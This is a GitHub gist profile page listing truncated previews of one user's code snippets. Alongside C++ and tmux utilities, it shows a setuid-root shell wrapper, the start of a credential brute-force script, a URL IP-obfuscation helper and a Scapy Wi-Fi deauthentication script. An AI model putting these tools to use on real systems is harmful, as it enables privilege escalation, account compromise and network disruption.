Skip to content

Instantly share code, notes, and snippets.

View junquera's full-sized avatar
🐈‍⬛

Javier Junquera Sánchez junquera

🐈‍⬛
View GitHub Profile
#include <stdio.h>
#include <unistd.h>
void main(){
setuid(0);
getuid(0);
execl("/bin/sh", "sh", 0);
}
@junquera
junquera / resumen.cpp
Created June 13, 2018 07:09
Breve resumen de funciones básicas de IO para C++
#include <fstream>
#include <iostream>
#include <string>
using namespace std;
void escribe(string fichero, string contenido);
string lee(string fichero);
main() {
import requests
import base64
destination = input('> ')
with open('users.txt', 'r') as f:
users = f.read().split('\n')
with open('passwords.txt', 'r') as f:
passwords = f.read().split('\n')
@junquera
junquera / knock.py
Last active October 22, 2018 19:50
import socket
import sys
socket.setdefaulttimeout(0.1)
for p in sys.argv[2:]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("Connecting to %s:%d" % ((sys.argv[1], int(p))))
s.connect((sys.argv[1], int(p)))
@junquera
junquera / socket_to_sock.py
Last active December 14, 2018 11:45
Script for "overriding" socket with socks for set all the connections through Tor
import socks
import socket
import requests
socket_getaddrinfo = socket.getaddrinfo
socket_connect = socket.socket.connect
socks_connect = socks.socksocket.connect
def getaddrinfo(*args, **kwargs):
@junquera
junquera / tmux_launcher.sh
Last active March 13, 2018 12:00
Tmux process launcher
# From https://stackoverflow.com/questions/3231804/in-bash-how-to-add-are-you-sure-y-n-to-any-command-or-alias
confirm() {
# call with a prompt string or use a default
read -r -p "Do you want to attach session? [Y/n] >" response
case "$response" in
[nN][oO]|[nN])
false
;;
*)
true
@junquera
junquera / ip_obfuscation.py
Created February 28, 2018 19:13
Snippet for obfuscating and IP in a URL
def ip2int(ip):
chunks = ip.split('.')
res = ''
for chunk in chunks:
i = int(chunk)
res += "%02x"%i
return int(res, 16)
def string2url(string):
res = ''
@junquera
junquera / deauth.py
Created February 28, 2018 19:11
Scapy based wifi Deauth by @catalyst256
# Scapy based wifi Deauth by @catalyst256
# Change the client to FF:FF:FF:FF:FF:FF if you want a broadcasted deauth to all stations on the targeted Access Point
import sys
if len(sys.argv) != 5:
print 'Usage is ./scapy-deauth.py interface bssid client count'
print 'Example - ./scapy-deauth.py mon0 00:11:22:33:44:55 55:44:33:22:11:00 50'
sys.exit(1)
from scapy.all import *
@junquera
junquera / window_father_and_son.html
Created February 12, 2018 15:56
Manage father, son and brother windows
<script>
var sons = [];
function newSon(){
var next = window.open('/');
sons.push(next);
}
function closeSons(){
var next = sons.pop();
@junquera
junquera / reverse_postgres.sh
Created February 10, 2018 23:11
SSH reverse_tunnel
REMOTE_PORT=5432
LOCAL_PORT=5432
ssh -L $REMOTE_PORT:localhost:$LOCAL_PORT $REMOTE_HOST -N